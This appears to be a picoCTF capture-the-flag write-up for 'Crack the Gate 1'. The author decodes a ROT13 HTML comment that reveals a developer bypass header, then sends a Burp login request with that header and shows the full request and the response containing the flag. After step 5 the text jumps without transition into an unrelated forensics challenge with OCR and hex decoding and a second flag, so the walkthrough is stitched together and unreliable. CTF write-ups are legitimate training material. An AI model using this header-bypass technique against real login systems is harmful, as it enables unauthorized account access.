Crack the Gate 1

Flag : picoCTF{brut4_f0rc4_0d39383f}

Solution Approach

1. Given a login page whose email is known but password isnt known .

2. I open the page source code using `ctrl + u` . i found that there is a suspicious piece of info `<!-- ABGR: Wnpx - grzcbenel olcnff: hfr urnqre "K-Qri-Npprff: lrf" - >` the ABGR refers to the NOTE in ROT13 encoding .

3. So i decode the ROT13 using `CyberChef`

   Output

   NOTE: Jack - temporary bypass: use header "X-Dev-Access: yes

4. So i found that there is a parameter to add during the loading and quickly open the burp suite and follow these step proxy → [interaction on] → open the link in proxy browser and give the known email and random password .

5. Then i pass that to repeater and add the line and when i click the send button i get the flag !

Request

Pretty   Raw   Hex

```
1  POST /login HTTP/1.1
2  Host: amiable-citadel.picoctf.net:56268
3  Content-Length: 55
4  Accept-Language: en-GB,en;q=0.9
5  User-Agent: Mozilla/5.0 (X11; Linux x86_64)
    AppleWebKit/537.36 (KHTML, like Gecko)
   Chrome/143.0.0.0 Safari/537.36
6  Content-Type: application/json
7  Accept: */*
8  Origin:
   http://amiable-citadel.picoctf.net:56268
9  Referer:
   http://amiable-citadel.picoctf.net:56268/
10 Accept-Encoding: gzip, deflate, br
11 Connection: keep-alive
12 X-Dev-Access: yes
13
14 {
     "email":"ctf-player@picoctf.org",
     "password":"11111"
   }
15
```

Response

Pretty   Raw   Hex   Render

```
1  HTTP/1.1 200 OK
2  X-Powered-By: Express
3  Content-Type: application/json;
   charset=utf-8
4  Content-Length: 127
5  ETag: W/"7f-d29DWVSx2UM7x3Z5k4F9Cqg3e3U"
6  Date: Thu, 25 Dec 2025 09:59:03 GMT
7  Connection: keep-alive
8  Keep-Alive: timeout=5
9
10 {"success":true,"email":
   "ctf-player@picoctf.org","firstName":
   "pico","lastName":"player","flag":
   "picoCTF{brut4_f0rc4_0d39383f}"}
```

7069636F4354467B666F72656E736963735F616E616C797369735F69735F616D617A696E675F356363337637623

6. Then i extract the Text in image using `tesseract image.png output`

7. The image contains some numbers which are hex encoded so i open the Cyber Chef and convert the hex into readable text

Recipe

From Hex

Delimiter
Auto

Input

7069636F4354467B666F72656E736963735F 616E616C797369735F69735F61 6D617A696E675F3563636337636

RBC 96 1   Tr Raw By

Output

picoCTF{forensics_analysis_is_amazing_5ccc7cb0}

8. I got the FLAG !